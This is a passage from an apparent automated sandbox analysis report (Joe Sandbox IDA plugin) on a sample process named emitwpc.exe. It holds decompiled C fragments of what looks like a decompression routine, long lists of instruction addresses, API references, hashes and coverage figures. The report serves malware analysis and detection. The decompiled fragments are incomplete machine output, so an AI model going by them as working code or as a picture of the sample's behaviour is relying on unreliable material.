															_t1047 =  *((short*)( *(_t1065 - 0x14) + 0x24a0 + ((_t1004 >> _t911 & 0x00000001) +  !_t1047) * 2));
															_t911 =  *(_t1065 - 0x24) + 1;
															 *(_t1065 - 0x24) = _t911;
															__eflags = _t1047;
															if(__eflags >= 0) {
																goto L196;
															}
															L190:
															_t618 = _t911 + 1;
															__eflags = _t1064 - _t618;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L191;
															}
															goto L295;
														}
														goto L196;
													}
												} else {
													L183:
													_t1049 = _t1047 >> 9;
													if(_t1049 == 0) {
														L191:
														_t1030 =  *(_t1065 - 0x14);
														L192:
														if(_t847 >=  *(_t1065 - 0x20)) {
															L250:
															 *_t1030 = 0x10;
															goto L285;
														} else {
															goto L193;
														}
													} else {
														L184:
														if(_t1064 >= _t1049) {
															L196:
															_t1030 =  *(_t1065 - 0x14);
															goto L197;
														} else {
															L185:
															goto L191;
														}
													}
												}
												goto L295;
												L193:
												_t911 = _t1064;
												_t819 = ( *_t847 & 0x000000ff) << _t911;
												_t847 = _t847 + 1;
												_t1004 = _t1004 | _t819;
												 *(_t1065 - 0x18) = _t847;
												_t1064 = _t1064 + 8;
												 *(_t1065 - 4) = _t1004;
											} while (_t1064 < 0xf);
											goto L197;
										}
									}
									goto L295;
								}
								L215:
								_t1005 =  *(_t1030 + 0x2c);
								_t791 =  *(_t1030 + 0x30) + _t1005;
								__eflags = _t791 - _t911;
								if(_t791 != _t911) {
									L269:
									_t689 = _t791 | 0xffffffff;
									 *_t1030 = 0x15;
									goto L291;
								} else {
									L216:
									memcpy(_t1030 + 0x40, _t1030 + 0x2924, _t1005);
									_t797 =  *(_t1030 + 0x2c) + 0x2924 + _t1030;
									__eflags = _t797;
									memcpy(_t1030 + 0xde0, _t797,  *(_t1030 + 0x30));
									_t1068 = _t1068 + 0x18;
									goto L217;
								}
								goto L295;
							}
						}
					} else {
						L267:
						 *(_t1065 - 0xc) = 0xffffffff;
						 *_t1030 = 0x23;
						goto L292;
					}
					goto L295;
				}
			}

0x00385d95
0x00385d95
0x00385d95
0x00385d96
0x00385d98
0x00385d9a
0x00385d9c
0x00385d9d
0x00385d9f
0x00385da1
0x00385da8
0x00385dae
0x00385db6
0x00385db9
0x00385dbe
0x00385dc3
0x00385dc8
0x00385dcd
0x00385dd5
0x00385ddd
0x00385de5
0x00385ded
0x00385df5
0x00385dfb
0x00385e03
0x00385e07
0x00385e0c
0x00385e11
0x00385e16
0x00385e1b
0x00385e20
0x00385e25
0x00385e2d
0x00385e32
0x00385e3a
0x00385e44
0x00385e4e
0x00385f59
0x00385f59
0x00385f59
0x00385f5e
0x00000000
0x00000000
0x003863fe
0x003863fe
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00385906
0x0038590c
0x0038590f
0x00385912
0x00000000
0x00385918
0x00385918
0x00385918
0x0038591b
0x0038591d
0x00385921
0x00385923
0x00385926
0x0038592e
0x00385933
0x00385936
0x00385936
0x00385939
0x00385939
0x00385943
0x0038594b
0x0038594e
0x00385950
0x00385959
0x00385959
0x0038595e
0x0038595f
0x00385960
0x00385961
0x00385961
0x00385965
0x00385967
0x0038596b
0x0038596d
0x00385975
0x00385975
0x00385979
0x0038597c
0x00385952
0x00385952
0x00385954
0x00385954
0x0038597f
0x0038597f
0x00385981
0x00385983
0x00385986
0x00385989
0x0038598f
0x00385b5a
0x00385b5a
0x00385b60
0x00385b63
0x00385b69
0x00386406
0x00386406
0x0038640d
0x00386413
0x00386419
0x0038641c
0x0038641f
0x00386421
0x0038645e
0x0038645e
0x00386461
0x00385714
0x0038571b
0x00385723
0x00385726
0x00385728
0x00385736
0x00385736
0x0038573b
0x0038573c
0x0038573d
0x00385740
0x00385740
0x00385744
0x00385746
0x0038574c
0x00385754
0x00385754
0x00385758
0x0038575b
0x0038575e
0x0038572a
0x0038572a
0x0038572c
0x0038572f
0x0038572f
0x00385761
0x00385761
0x00385763
0x00385765
0x0038576c
0x00385773
0x00385776
0x00385779
0x0038577c
0x0038577e
0x003857be
0x003857c1
0x003857c4
0x003857c7
0x003857c9
0x003857d5
0x003857d5
0x003857dd
0x003857e0
0x003857e5
0x003857e8
0x003857ec
0x003857ef
0x003857f1
0x003857f4
0x0038582f
0x0038582f
0x00385832
0x00385896
0x00385896
0x0038589b
0x003858a0
0x003858a0
0x003858a3
0x003858a6
0x003858ac
0x003858af
0x003858b3
0x003858b6
0x003858b9
0x003858bc
0x003858bc
0x00000000
0x00385834
0x00385834
0x00385834
0x00385837
0x00000000
0x00385839
0x00385839
0x00385839
0x0038583e
0x00385844
0x00385846
0x00385849
0x00385850
0x00385850
0x00385852
0x00385854
0x00385857
0x0038585a
0x0038585d
0x00385860
0x00385860
0x00385864
0x00385867
0x0038586d
0x00385870
0x00385873
0x00385876
0x00385879
0x0038587c
0x00000000
0x00000000
0x00000000
0x00000000
0x0038587c
0x00385837
0x00000000
0x003857f6
0x003857f6
0x003857f6
0x003857f6
0x003857f8
0x003857f9
0x003857fc
0x003857fe
0x00000000
0x00000000
0x00385804
0x00385807
0x0038580a
0x0038650f
0x0038650f
0x00386516
0x00000000
0x00385810
0x00385810
0x00385822
0x00385825
0x00385828
0x0038582a
0x00000000
0x0038582a
0x00000000
0x0038580a
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00000000
0x00385900
0x00000000
0x003858f8
0x003857cb
0x003857cb
0x003857cb
0x003857cf
0x003866b4
0x003866b4
0x003866b7
0x00000000
0x00000000
0x00000000
0x00000000
0x003857cf
0x00385780
0x00385780
0x00385780
0x00385782
0x003857a7
0x003857ac
0x003857b1
0x003857b3
0x003857b5
0x003857b5
0x003857b5
0x003857b8
0x003857bb
0x00000000
0x00385784
0x00385784
0x00385784
0x00385784
0x00385787
0x00000000
0x00000000
0x0038578d
0x00385792
0x00385794
0x00385795
0x00385798
0x0038579a
0x0038579d
0x003857a0
0x003857a3
0x003857a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003857a5
0x0038664c
0x0038664c
0x00000000
0x0038664c
0x00385782
0x00386467
0x00386467
0x0038646c
0x0038646f
0x003864e6
0x003864e6
0x003864ed
0x003864f0
0x003864f3
0x003864f8
0x003864fe
0x00386501
0x00386504
0x00386507
0x00000000
0x00386471
0x00386471
0x00386478
0x00386480
0x00386483
0x00386485
0x0038649f
0x0038649f
0x003864a2
0x00000000
0x003864a8
0x003864a8
0x003864ad
0x003864ad
0x003864b0
0x003864b0
0x003864be
0x003864c9
0x003864ca
0x003864cd
0x003864d0
0x003864d2
0x00000000
0x00000000
0x003864d8
0x003864d8
0x003864d9
0x003864db
0x00000000
0x003864e1
0x003864e1
0x003864e1
0x00000000
0x003864e1
0x00000000
0x003864db
0x00000000
0x003864b0
0x00386487
0x00386487
0x00386487
0x0038648a
0x0038648c
0x003856ef
0x003856ef
0x003856f2
0x00386657
0x00386657
0x00000000
0x00000000
0x00000000
0x00000000
0x00386492
0x00386492
0x00386492
0x00386494
0x00000000
0x0038649a
0x0038649a
0x00000000
0x0038649a
0x00386494
0x0038648c
0x00000000
0x003856f8
0x003856fb
0x003856fd
0x003856ff
0x00385700
0x00385702
0x00385705
0x00385708
0x0038570b
0x0038570b
0x00386471
0x00000000
0x0038646f
0x00386423
0x00386423
0x00386423
0x00386425
0x0038644a
0x0038644f
0x0038644f
0x00386454
0x00386456
0x00386458
0x00386458
0x00386458
0x0038645b
0x00000000
0x00386427
0x00386427
0x00386427
0x00386427
0x0038642a
0x00000000
0x00000000
0x00386430
0x00386435
0x00386437
0x00386438
0x0038643b
0x0038643d
0x00386440
0x00386443
0x00386446
0x00386448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00386448
0x00386641
0x00386641
0x00000000
0x00386641
0x00386425
0x00385b6f
0x00385b6f
0x00385b6f
0x00385b6f
0x00385b73
0x00000000
0x00000000
0x00385b79
0x00385b79
0x00385b7c
0x00385b9f
0x00385ba1
0x00385ba4
0x00385ba7
0x00385baa
0x00385bad
0x00385bad
0x00385baf
0x00385bb2
0x00385bb5
0x00385bb8
0x00385d7b
0x00385d7b
0x00385d7e
0x00386674
0x00386674
0x0038667b
0x00000000
0x00385d84
0x00385d84
0x00385d84
0x00385d87
0x00385e56
0x00385e56
0x00385e56
0x00385e58
0x00385e58
0x00385e58
0x00385e5b
0x00385e5e
0x00000000
0x00000000
0x00385e64
0x00385e64
0x00385e6b
0x00385e6e
0x00385e70
0x00385e9f
0x00385e9f
0x00385eaa
0x00385eb2
0x00385eb5
0x00385eb8
0x00385ebf
0x00385ec1
0x00385ec3
0x00385ec5
0x00385ec8
0x00385ed2
0x00385ed5
0x00385ed7
0x00385eda
0x00000000
0x00385e72
0x00385e72
0x00385e72
0x00385e72
0x00385e75
0x00000000
0x00000000
0x00385e7b
0x00385e80
0x00385e82
0x00385e83
0x00385e86
0x00385e88
0x00385e8b
0x00385e8e
0x00385e91
0x00385e98
0x00385e9b
0x00385e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385e9d
0x00386595
0x00386595
0x00000000
0x00386595
0x00000000
0x00385e70
0x00385ee0
0x00385ee5
0x00385eee
0x00385ef4
0x00385ef7
0x00385efa
0x00385efa
0x00385efc
0x00385efc
0x00385efc
0x00385eff
0x00385f02
0x00000000
0x00000000
0x00385f04
0x00385f04
0x00385f07
0x00385f2a
0x00385f2f
0x00385f32
0x00385f35
0x00385f38
0x00385f3b
0x00385f3e
0x00385f45
0x00385f4f
0x00000000
0x00385f09
0x00385f09
0x00385f09
0x00385f09
0x00385f0c
0x00000000
0x00000000
0x00385f12
0x00385f17
0x00385f19
0x00385f1a
0x00385f1c
0x00385f1f
0x00385f22
0x00385f25
0x00385f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385f28
0x003865a0
0x003865a0
0x00000000
0x003865a0
0x00000000
0x00385f07
0x00385f52
0x00385f52
0x00000000
0x00385d8d
0x00385d8d
0x00385d8d
0x00385d92
0x00385d93
0x00385d94
0x00000000
0x00385d94
0x00385d87
0x00385bbe
0x00385bbe
0x00385bc0
0x00385bc3
0x00385bc5
0x00385bec
0x00385bee
0x00385bf1
0x00385bf3
0x00385bf5
0x00385bf8
0x00385bf8
0x00385bfa
0x00385bfa
0x00385bfa
0x00385bfd
0x00385c00
0x00000000
0x00000000
0x00385c02
0x00385c02
0x00385c04
0x00385c42
0x00385c42
0x00385c45
0x0038655f
0x0038655f
0x00000000
0x00385c4b
0x00385c4b
0x00385c4b
0x00385c4d
0x00385c4e
0x00385c55
0x00385c56
0x00000000
0x00385c56
0x00385c06
0x00385c06
0x00385c06
0x00385c09
0x00385c2f
0x00385c2f
0x00385c36
0x00385c39
0x00385c3c
0x00385c3d
0x00000000
0x00385c0b
0x00385c0b
0x00385c0b
0x00385c0b
0x00385c0e
0x00000000
0x00000000
0x00385c14
0x00385c19
0x00385c1b
0x00385c1c
0x00385c1e
0x00385c21
0x00385c24
0x00385c27
0x00385c2a
0x00000000
0x00385c2c
0x00385c2c
0x00385c2c
0x00000000
0x00385c2c
0x00000000
0x00385c2a
0x00386554
0x00386554
0x00000000
0x00386554
0x00385c09
0x00000000
0x00385c04
0x00385c5b
0x00385c6e
0x00385c75
0x00385c8a
0x00385c8d
0x00386662
0x00386662
0x00386669
0x00000000
0x00385c93
0x00385c93
0x00385c93
0x00385c96
0x00385c96
0x00385c96
0x00385c98
0x00000000
0x00000000
0x00385c9e
0x00385c9e
0x00385ca0
0x00385cfc
0x00385cfc
0x00385cff
0x00385cff
0x00385cff
0x00385d01
0x00000000
0x00000000
0x00385d11
0x00385d11
0x00385d14
0x00385d16
0x00385d30
0x00385d30
0x00385d33
0x00385d35
0x00386587
0x00386587
0x0038658a
0x00000000
0x00385d3b
0x00385d3b
0x00385d3b
0x00385d40
0x00385d42
0x00385d46
0x00385d49
0x00385d4b
0x00385d54
0x00385d4d
0x00385d4d
0x00385d4f
0x00385d4f
0x00385d56
0x00385d5b
0x00385d5b
0x00385d64
0x00385d69
0x00385d6b
0x00385d6e
0x00385d71
0x00385d73
0x00385d76
0x00000000
0x00385d76
0x00385d18
0x00385d18
0x00385d18
0x00385d1b
0x00385d22
0x00000000
0x00385d22
0x00000000
0x00385d16
0x00385d03
0x00385d03
0x00385d08
0x00000000
0x00385ca2
0x00385ca2
0x00385ca2
0x00385ca5
0x00385cc8
0x00385cc8
0x00385ccb
0x00385cce
0x00385cd1
0x00385cd4
0x00385cdc
0x00385cdf
0x00385ce2
0x00385ce5
0x00386575
0x00386575
0x0038657c
0x00000000
0x00385ceb
0x00385ceb
0x00385cee
0x00385cf1
0x00385cf6
0x00385cf7
0x00000000
0x00385cf7
0x00385ca7
0x00385ca7
0x00385ca7
0x00385ca7
0x00385caa
0x00000000
0x00000000
0x00385cb0
0x00385cb5
0x00385cb7
0x00385cb8
0x00385cba
0x00385cbd
0x00385cc0
0x00385cc3
0x00385cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385cc6
0x0038656a
0x0038656a
0x00000000
0x0038656a
0x00385ca5
0x00000000
0x00385ca0
0x00000000
0x00385c96
0x00385bc7
0x00385bc7
0x00385bc7
0x00385bc7
0x00385bca
0x00000000
0x00000000
0x00385bd0
0x00385bd5
0x00385bd7
0x00385bda
0x00385bdc
0x00385bdf
0x00385be2
0x00385be5
0x00385be8
0x00385bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385bea
0x00386549
0x00386549
0x00000000
0x00386549
0x00385bc5
0x00385b7e
0x00385b7e
0x00385b7e
0x00385b7e
0x00385b81
0x00000000
0x00000000
0x00385b87
0x00385b8c
0x00385b8e
0x00385b8f
0x00385b91
0x00385b94
0x00385b97
0x00385b9a
0x00385b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385b9d
0x0038653e
0x0038653e
0x00386732
0x00386732
0x0038673b
0x00386740
0x00386740
0x00386743
0x00386746
0x00386749
0x0038674b
0x0038674b
0x0038674e
0x00386750
0x0038675d
0x0038675d
0x00386760
0x00386762
0x00386764
0x00386764
0x00386764
0x00386767
0x00000000
0x00000000
0x00386769
0x00386769
0x0038676a
0x0038676d
0x0038676f
0x00000000
0x00000000
0x00000000
0x0038676f
0x00386764
0x00386762
0x0038674e
0x00386749
0x00000000
0x00385b7c
0x003865c1
0x003865c3
0x003865c6
0x003865c8
0x003865f2
0x003865f2
0x003865f7
0x003865fa
0x003865fc
0x003865fe
0x00386601
0x00386603
0x00386605
0x00386605
0x00386605
0x00386608
0x00000000
0x00000000
0x0038660a
0x0038660a
0x0038660b
0x0038660e
0x00386610
0x00000000
0x00000000
0x00000000
0x00386610
0x00386605
0x00386612
0x00386617
0x00386617
0x0038661b
0x0038661e
0x00386621
0x00386624
0x00386626
0x00386629
0x0038662d
0x00386630
0x00386634
0x00386752
0x00386752
0x00386752
0x00386754
0x0038675a
0x0038675a
0x00000000
0x0038663a
0x0038663a
0x0038663a
0x00386703
0x00386703
0x00386703
0x00386706
0x00386709
0x00000000
0x00000000
0x0038670b
0x0038670b
0x0038670d
0x0038671a
0x0038671a
0x0038671d
0x00386720
0x003866e7
0x003866e7
0x003866ed
0x003866ed
0x003866f0
0x00000000
0x00386722
0x00386722
0x003866ca
0x003866ca
0x003866ca
0x003866cd
0x00000000
0x00000000
0x003866cf
0x003866d4
0x003866d6
0x003866d9
0x003866db
0x003866dc
0x003866df
0x003866e2
0x00000000
0x003866e4
0x003866e4
0x003866e4
0x00000000
0x003866e4
0x00000000
0x003866e2
0x0038672c
0x0038672c
0x00000000
0x0038672c
0x0038670f
0x0038670f
0x0038670f
0x00386712
0x00386724
0x00386724
0x00000000
0x00386714
0x00386714
0x00386714
0x00386717
0x003866f3
0x003866f3
0x003866fc
0x003866ff
0x003866ff
0x00386700
0x00000000
0x00386700
0x00386712
0x00000000
0x0038670d
0x00000000
0x00386703
0x003865d0
0x00000000
0x003865d0
0x003865d0
0x003865d0
0x003865d3
0x00000000
0x00000000
0x003865d9
0x003865de
0x003865e0
0x003865e3
0x003865e5
0x003865e8
0x003865eb
0x003865ee
0x003865f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003865f0
0x003866c2
0x003866c2
0x00000000
0x003866c2
0x003865c8
0x00385995
0x00385995
0x00385995
0x00385998
0x0038599a
0x0038599e
0x003859a0
0x003859a3
0x003859a6
0x003859ae
0x003859b3
0x003859b6
0x003859b6
0x003859b9
0x003859b9
0x003859c3
0x003859cb
0x003859ce
0x003859d0
0x003859d9
0x003859d9
0x003859de
0x003859df
0x003859e0
0x003859e1
0x003859e1
0x003859e5
0x003859e7
0x003859ed
0x003859f5
0x003859f5
0x003859f9
0x003859fc
0x003859d2
0x003859d2
0x003859d4
0x003859d4
0x003859ff
0x003859ff
0x00385a02
0x00385a04
0x00385a09
0x00385a0c
0x00385a0e
0x00385a11
0x00385a17
0x00385b57
0x00385b57
0x00385b57
0x00385b57
0x00000000
0x00385a1d
0x00385a1d
0x00385a1d
0x00385a20
0x00385a26
0x00385a29
0x003858f8
0x003858f8
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00000000
0x00385900
0x0038587e
0x0038587e
0x0038587e
0x00385882
0x00385887
0x00385888
0x0038588a
0x0038588c
0x0038588f
0x00385892
0x00385894
0x003858e6
0x003858e6
0x003858eb
0x003858ef
0x003858f2
0x003858f2
0x003858f5
0x003858f5
0x003858f5
0x003858f5
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00000000
0x00385900
0x003858c1
0x003858c1
0x003858c4
0x003858c7
0x003858ca
0x003858cd
0x003858d0
0x003858d0
0x003858d4
0x003858d9
0x003858da
0x003858dc
0x003858de
0x003858e1
0x003858e4
0x00000000
0x00000000
0x00000000
0x003858e4
0x00385a17
0x0038598f
0x00386771
0x00386771
0x00386774
0x00386776
0x0038677b
0x0038677e
0x00386781
0x00386784
0x00386786
0x00386789
0x00386793
0x0038679e
0x003867a1
0x003867a5
0x003867ab
0x003867b1
0x003867b7
0x003867ba
0x003867bd
0x003867c2
0x003867c5
0x003867c7
0x003867cd
0x003867cd
0x003867cf
0x003867d5
0x003867d5
0x003867df
0x003867e5
0x003867ee
0x003867f1
0x003867f4
0x003867f6
0x003867fa
0x003867fd
0x00386803
0x00386803
0x00386805
0x00386805
0x00386805
0x00386807
0x0038680a
0x0038680d
0x00386813
0x00386813
0x00386818
0x00386819
0x0038681a
0x0038681b
0x0038681b
0x0038681b
0x00386820
0x00386820
0x00386823
0x00386826
0x00386831
0x0038683c
0x00386847
0x00386852
0x0038685d
0x00386868
0x00386873
0x00386878
0x0038687b
0x0038687d
0x00386882
0x00386884
0x00386884
0x00386889
0x0038688c
0x0038688c
0x0038688f
0x0038688f
0x00386891
0x00386894
0x00386896
0x00386898
0x0038689c
0x0038689f
0x003868a1
0x003868a1
0x003868a6
0x003868ae
0x003868b2
0x003868b2
0x003868b6
0x003868c0
0x003868c0
0x003868c3
0x003868c5
0x003868c9
0x003868cb
0x003868ce
0x003868d0
0x003868d2
0x003868d2
0x003868d2
0x003868d5
0x003868d8
0x003868db
0x003868de
0x003868e1
0x003868e1
0x003868e4
0x003868e4
0x003868e6
0x003868e8
0x003868ee
0x003868f0
0x003868f2
0x003868f2
0x003868f3
0x003868f3
0x003868f6
0x003868f9
0x003868fb
0x003868fb
0x003868fb
0x003868fd
0x00386902
0x0038690d
0x00386919
0x0038691f
0x00386921
0x00386921
0x00386921
0x00386924
0x00386929
0x0038692c
0x0038692c
0x00386935
0x0038693a
0x0038693a
0x0038693b
0x0038693e
0x00386940
0x00386943
0x00386945
0x00386947
0x0038694b
0x0038694d
0x00386955
0x00386955
0x00386955
0x0038694b
0x00386945
0x003867cf
0x00386958
0x00386960
0x00000000
0x00385a2e
0x00385a2e
0x00385a31
0x00385ae3
0x00385aea
0x00385af2
0x00385af5
0x00385af7
0x00385b08
0x00385b08
0x00385b0d
0x00385b0e
0x00385b0f
0x00385b10
0x00385b10
0x00385b14
0x00385b16
0x00385b1c
0x00385b24
0x00385b24
0x00385b28
0x00385b2b
0x00385af9
0x00385af9
0x00385afb
0x00385afe
0x00385b03
0x00385b03
0x00385b2e
0x00385b2e
0x00385b30
0x00385b32
0x00385b35
0x00385b38
0x00385b3e
0x00000000
0x00385b40
0x00385b40
0x00385b40
0x00385b43
0x00385b46
0x0038652c
0x0038652c
0x00386533
0x00000000
0x00385b4c
0x00385b4c
0x00385b4c
0x00385b4f
0x00000000
0x00385b4f
0x00385b46
0x00385a37
0x00385a37
0x00385a37
0x00385a3a
0x00385abf
0x00385abf
0x00385ac6
0x00385ac9
0x00385ace
0x00385ad4
0x00385ad7
0x00385ada
0x00385ada
0x00385add
0x00000000
0x00385a40
0x00385a40
0x00385a40
0x00385a42
0x00385a47
0x00385a4f
0x00385a51
0x00385a64
0x00385a64
0x00385a67
0x00000000
0x00385a69
0x00385a69
0x00385a6e
0x00385a71
0x00385a71
0x00385a7f
0x00385a8a
0x00385a8b
0x00385a8e
0x00385a90
0x00000000
0x00000000
0x00385a92
0x00385a92
0x00385a95
0x00385a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385a97
0x00000000
0x00385a71
0x00385a53
0x00385a53
0x00385a53
0x00385a56
0x00385a58
0x00385a99
0x00385a99
0x00385a9c
0x00385a9c
0x00385a9f
0x00386521
0x00386521
0x00000000
0x00000000
0x00000000
0x00000000
0x00385a5a
0x00385a5a
0x00385a5a
0x00385a5c
0x00385ae0
0x00385ae0
0x00000000
0x00385a62
0x00385a62
0x00000000
0x00385a62
0x00385a5c
0x00385a58
0x00000000
0x00385aa5
0x00385aa8
0x00385aaa
0x00385aac
0x00385aad
0x00385aaf
0x00385ab2
0x00385ab5
0x00385ab8
0x00385ab8
0x00000000
0x00385abd
0x00385a3a
0x00000000
0x00385a31
0x003858f8
0x00385f64
0x00385f73
0x00385f7d
0x00385f93
0x00385fa9
0x00385fb2
0x00385fb7
0x00385fba
0x00385fbd
0x00385fc2
0x00385fc4
0x00385fc4
0x00385fd0
0x00385fd0
0x00385fd0
0x00385fd4
0x00385fd5
0x00385fdc
0x00385fd0
0x00385fe0
0x00385fe0
0x00385fe5
0x00385fe6
0x00385fe7
0x00385fe8
0x00385fe9
0x00385fe9
0x00385fef
0x00385ff5
0x00385ff8
0x00386000
0x00386000
0x00386000
0x00386009
0x0038600b
0x0038600d
0x00386014
0x00386017
0x00386020
0x00386027
0x00386029
0x0038602c
0x00386035
0x00386037
0x0038603e
0x00386041
0x0038604c
0x0038604f
0x00386055
0x00386058
0x00386061
0x0038606c
0x0038606c
0x0038606f
0x00386076
0x00386080
0x00386086
0x00386086
0x00386090
0x00386090
0x00386095
0x00386095
0x00386099
0x0038609e
0x003860a4
0x003860a4
0x003860ab
0x003860af
0x003860b6
0x003860bb
0x00000000
0x003860c0
0x003860c0
0x003860cb
0x003860ce
0x003860cf
0x003860d1
0x003860d4
0x003860d8
0x003860d8
0x003860db
0x003860de
0x0038612d
0x0038613d
0x00386140
0x00386143
0x00386146
0x00386149
0x0038614c
0x0038614e
0x00386153
0x00386156
0x00386158
0x00386158
0x0038615b
0x0038615e
0x0038615e
0x00386161
0x00386161
0x00386164
0x00386167
0x00386169
0x00386169
0x00386169
0x0038616c
0x0038616f
0x00386172
0x00386172
0x00386172
0x00386180
0x00386185
0x00386189
0x0038618c
0x003861a4
0x0038618e
0x00386191
0x00386195
0x00386198
0x0038619a
0x0038619d
0x003861a0
0x003861a0
0x003861a7
0x003861a7
0x003861a7
0x003861a7
0x003861a7
0x003861ac
0x003861af
0x003861af
0x003861b1
0x003861b6
0x003861b6
0x003861bb
0x003860e0
0x003860e0
0x003860e7
0x003860ea
0x003860f3
0x003860f9
0x003860f9
0x003860fe
0x003860ff
0x00386100
0x00386101
0x00386101
0x00386106
0x0038610f
0x00386115
0x00386115
0x00386115
0x00386118
0x0038611a
0x0038611d
0x00386125
0x00386125
0x003860f3
0x003860de
0x003861c3
0x003861c3
0x003861c6
0x003861c7
0x003861d1
0x003861d6
0x003861d6
0x003861d7
0x003861db
0x003863f6
0x003863f6
0x00000000
0x003861e1
0x003861e1
0x003861e1
0x003861e3
0x003861e3
0x003861e3
0x003861e6
0x003861e6
0x003861ec
0x003861f1
0x00000000
0x00000000
0x003861f7
0x003861fa
0x003862b2
0x003862b9
0x003862c1
0x003862c6
0x003862d7
0x00000000
0x003862e0
0x003862e0
0x003862e0
0x003862e5
0x003862e7
0x003862ee
0x003862f6
0x003862f9
0x003862f9
0x003862c8
0x003862c8
0x003862ca
0x003862cd
0x003862d2
0x003862d2
0x003862fd
0x003862fd
0x003862ff
0x00386301
0x00386304
0x0038630a
0x0038631c
0x0038631c
0x0038632c
0x0038632c
0x00386333
0x00386336
0x00386338
0x00386360
0x0038636e
0x00386371
0x00386378
0x0038637b
0x0038637d
0x00386381
0x00386384
0x00386387
0x00386393
0x00386393
0x00386389
0x00386389
0x00386389
0x00386395
0x003863a0
0x003863a9
0x003863ac
0x003863ae
0x003861e3
0x003861e3
0x00000000
0x0038633a
0x0038633a
0x0038633a
0x0038633a
0x0038633d
0x00000000
0x00000000
0x00386343
0x00386348
0x0038634a
0x0038634b
0x0038634e
0x00386350
0x00386353
0x00386356
0x00386359
0x0038635b
0x00000000
0x0038635d
0x0038635d
0x0038635d
0x00000000
0x0038635d
0x00000000
0x0038635b
0x003865b6
0x003865b6
0x00000000
0x003865b6
0x0038631e
0x0038631e
0x0038631e
0x00386321
0x00386323
0x00386698
0x00386698
0x0038669b
0x00000000
0x00386329
0x00386329
0x00386329
0x00000000
0x00386329
0x00386323
0x0038630c
0x0038630c
0x0038630c
0x0038630f
0x00386316
0x00000000
0x00386316
0x00386200
0x00386200
0x00386208
0x0038628e
0x0038628e
0x00386295
0x00386298
0x0038629d
0x003862a3
0x003862a6
0x003862a9
0x003862a9
0x003862ac
0x00000000
0x0038620e
0x0038620e
0x0038620e
0x00386210
0x00386215
0x0038621f
0x00386232
0x00386232
0x00386235
0x00000000
0x00386237
0x00386237
0x0038623c
0x0038623c
0x00386240
0x00386240
0x0038624e
0x00386259
0x0038625a
0x0038625d
0x0038625f
0x00000000
0x00000000
0x00386261
0x00386261
0x00386264
0x00386266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00386266
0x00000000
0x00386240
0x00386221
0x00386221
0x00386221
0x00386226
0x00386268
0x00386268
0x0038626b
0x0038626e
0x003865ab
0x003865ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00386228
0x00386228
0x0038622a
0x003862af
0x003862af
0x00000000
0x00386230
0x00386230
0x00000000
0x00386230
0x0038622a
0x00386226
0x00000000
0x00386274
0x00386277
0x00386279
0x0038627b
0x0038627c
0x0038627e
0x00386281
0x00386284
0x00386287
0x00000000
0x0038628c
0x00386208
0x00000000
0x003861fa
0x003863b6
0x003863b9
0x003863bc
0x003863be
0x003863c0
0x003866a6
0x003866a6
0x003866a9
0x00000000
0x003863c6
0x003863c6
0x003863d2
0x003863e3
0x003863e3
0x003863ed
0x003863f3
0x00000000
0x003863f3
0x00000000
0x003863c0
0x003861e3
0x00386686
0x00386686
0x00386686
0x0038668d
0x00000000
0x0038668d
0x00000000
0x00386061

APIs

memset.NTDLL ref: 00385DA8
memset.NTDLL ref: 00385F7D
memset.NTDLL ref: 00385F93
memset.NTDLL ref: 00385FA9

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 2886a636d36ed13d557774c601d4088a2cdbbbaa1b4ce0390a1e895069e8fb5c
Instruction ID: 4d310ca869c2083ef3e635ae641e6db18df64a711e4922296d7e68a9759e7779
Opcode Fuzzy Hash: 2886a636d36ed13d557774c601d4088a2cdbbbaa1b4ce0390a1e895069e8fb5c
Instruction Fuzzy Hash: C1315EB2E10B82EBE3068F64D801BB4B774FFD9300F245356E5D595642EB78A694C7C0

Uniqueness

Uniqueness Score: 0.00%

Analysis Process: emitwpc.exe PID: 3136 Parent PID: 2928emitwpc.exeUNIQUE

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	12.6%
Total number of Nodes:	653
Total number of Limit Nodes:	31

Executed Functions

Function 002ACA89, Relevance: 13.5, APIs: 9, Instructions: 38
windowsynchronizationtimeCOMMON

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 002ACA89
SetTimer.USER32(?,00000000), ref: 002ACA91
GetTickCount.KERNEL32(?,00000000), ref: 002ACA97
GetTickCount.KERNEL32(?,00000000), ref: 002ACAA8
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002ACACE
TranslateMessage.USER32(?), ref: 002ACAE4
DispatchMessageW.USER32(?), ref: 002ACAEE
WaitForSingleObject.KERNEL32(00000000), ref: 002ACAFC
DestroyWindow.USER32 ref: 002ACB1E

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

